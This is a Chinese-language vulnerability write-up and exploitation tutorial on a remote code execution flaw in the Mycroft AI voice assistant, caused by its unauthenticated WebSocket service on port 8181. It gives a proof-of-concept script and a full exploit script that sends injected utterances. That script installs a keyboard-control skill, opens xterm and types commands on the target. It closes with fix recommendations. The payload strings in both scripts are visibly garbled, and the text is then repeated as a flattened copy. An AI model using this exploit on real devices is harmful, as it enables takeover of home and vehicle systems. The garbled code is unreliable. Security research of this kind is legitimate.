智能语音应用Mycroft AI的远程代码执行漏洞分析
字数 1331 2025-08-18 11:37:23

Mycroft AI 远程代码执行漏洞分析与利用教学文档

1. Mycroft AI 简介

Mycroft AI 是一款开源且基于人工智能的语音助理应用,与 Amazon Echo 和 Google Home 类似。主要特点:

  • 2015年开始众筹生产 Mark-I 和 Mark-II 代产品
  • 基于 Linux Desktop/Server 和 Raspberry PI 架构
  • 广泛应用于智能自动化家居系统
  • 新款应用将应用于捷豹和路虎的某些车型

2. 漏洞发现背景

在 Arch Linux 社区开源软件包的开发贡献过程中,研究者发现了 Mycroft AI 存在一个无需点击交互即可实现的远程代码执行漏洞(RCE)。

3. 漏洞技术分析

3.1 WebSocket 服务端未授权访问

关键代码片段:

host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [(route, WebsocketEventHandler)]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()

配置文件 mycroft.conf 中的 WebSocket 设置:

"websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
}

问题:WebSocket 服务端默认监听在 0.0.0.0:8181/core,且没有任何身份验证机制。

3.2 漏洞验证测试

简单的 Python 脚本测试:

#!/usr/bin/env python
import asyncio
import websockets

uri = "ws://myserver:8181/core"
command = "say pwned"

async def sendPayload():
    async with websockets.connect(uri) as websocket:
        await websocket.send("{\"data\": {\"utterances\command+type\": \"recognizer_loop:utterance\", \"context\": null}")

asyncio.get_event_loop().run_until_complete(sendPayload())

这个脚本可以让 Mycroft AI 说出 "pwned",证明可以远程控制设备发声。

4. Mycroft AI 技能系统分析

4.1 技能组成元素

一个 Mycroft 技能通常包含以下文件:

  1. dialog/en-us/command.dialog - 包含能触发技能的语音命令
  2. vocab/en-us/answer.voc - 包含 Mycroft 发声的答案
  3. requirements.txt - 包含由 pip 安装的技能所需包
  4. __init__.py - 包含技能的主函数和触发执行时需要加载的命令

4.2 利用技能系统执行代码

理论上可以创建一个恶意技能,在被触发后执行任意代码。但存在以下限制:

  • 需要通过语音命令触发
  • 技能链接 URL 可能需要被在线网站白名单化

5. 实际利用方法

5.1 利用现有技能

研究发现一个名为 skill-autogui 的有趣技能,其主要功能是对鼠标键盘的控制,可以用来实现代码执行。

5.2 漏洞利用 PoC

完整的漏洞利用脚本:

#!/usr/bin/env python
import sys
import asyncio
import websockets
import time

cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"

async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:
            await websocket.send("{\"data\": {\"utterances\payload+type\": \"recognizer_loop:utterance\", \"context\": null}")
        time.sleep(1)

asyncio.get_event_loop().run_until_complete(sendPayload())

使用示例:

python pwn.py "install autogui" "open xterm" "type echo pwned" "press enter"

这个命令序列会在远程 Mycroft 设备的 Linux 系统上执行命令:

  1. 安装 autogui 技能
  2. 打开 xterm 终端
  3. 输入命令 "echo pwned"
  4. 按下回车执行

6. 漏洞影响范围

所有搭载 Mycroft 且 WebSocket 服务端暴露在网的设备:

  • Mark-I 代应用的 WebSocket 接口默认在防火墙之后,受影响较小
  • 其他版本如果 WebSocket 服务暴露,则全部受影响

7. 漏洞修复建议

  1. 为 WebSocket 服务端添加身份验证机制
  2. 默认情况下不应将 WebSocket 服务绑定到 0.0.0.0
  3. 对技能安装来源实施严格的白名单控制
  4. 限制危险技能的安装和使用

8. 参考资源

  • GitHub 相关讨论
  • FreeBuf 原始文章

这份文档详细分析了 Mycroft AI 的远程代码执行漏洞,从发现过程、技术原理到实际利用方法都进行了全面说明,可以作为安全研究和漏洞修复的参考。

Mycroft AI 远程代码执行漏洞分析与利用教学文档 1. Mycroft AI 简介 Mycroft AI 是一款开源且基于人工智能的语音助理应用,与 Amazon Echo 和 Google Home 类似。主要特点: 2015年开始众筹生产 Mark-I 和 Mark-II 代产品 基于 Linux Desktop/Server 和 Raspberry PI 架构 广泛应用于智能自动化家居系统 新款应用将应用于捷豹和路虎的某些车型 2. 漏洞发现背景 在 Arch Linux 社区开源软件包的开发贡献过程中,研究者发现了 Mycroft AI 存在一个无需点击交互即可实现的远程代码执行漏洞(RCE)。 3. 漏洞技术分析 3.1 WebSocket 服务端未授权访问 关键代码片段: 配置文件 mycroft.conf 中的 WebSocket 设置: 问题 :WebSocket 服务端默认监听在 0.0.0.0:8181/core,且没有任何身份验证机制。 3.2 漏洞验证测试 简单的 Python 脚本测试: 这个脚本可以让 Mycroft AI 说出 "pwned",证明可以远程控制设备发声。 4. Mycroft AI 技能系统分析 4.1 技能组成元素 一个 Mycroft 技能通常包含以下文件: dialog/en-us/command.dialog - 包含能触发技能的语音命令 vocab/en-us/answer.voc - 包含 Mycroft 发声的答案 requirements.txt - 包含由 pip 安装的技能所需包 __init__.py - 包含技能的主函数和触发执行时需要加载的命令 4.2 利用技能系统执行代码 理论上可以创建一个恶意技能,在被触发后执行任意代码。但存在以下限制: 需要通过语音命令触发 技能链接 URL 可能需要被在线网站白名单化 5. 实际利用方法 5.1 利用现有技能 研究发现一个名为 skill-autogui 的有趣技能,其主要功能是对鼠标键盘的控制,可以用来实现代码执行。 5.2 漏洞利用 PoC 完整的漏洞利用脚本: 使用示例: 这个命令序列会在远程 Mycroft 设备的 Linux 系统上执行命令: 安装 autogui 技能 打开 xterm 终端 输入命令 "echo pwned" 按下回车执行 6. 漏洞影响范围 所有搭载 Mycroft 且 WebSocket 服务端暴露在网的设备: Mark-I 代应用的 WebSocket 接口默认在防火墙之后,受影响较小 其他版本如果 WebSocket 服务暴露,则全部受影响 7. 漏洞修复建议 为 WebSocket 服务端添加身份验证机制 默认情况下不应将 WebSocket 服务绑定到 0.0.0.0 对技能安装来源实施严格的白名单控制 限制危险技能的安装和使用 8. 参考资源 GitHub 相关讨论 FreeBuf 原始文章 这份文档详细分析了 Mycroft AI 的远程代码执行漏洞,从发现过程、技术原理到实际利用方法都进行了全面说明,可以作为安全研究和漏洞修复的参考。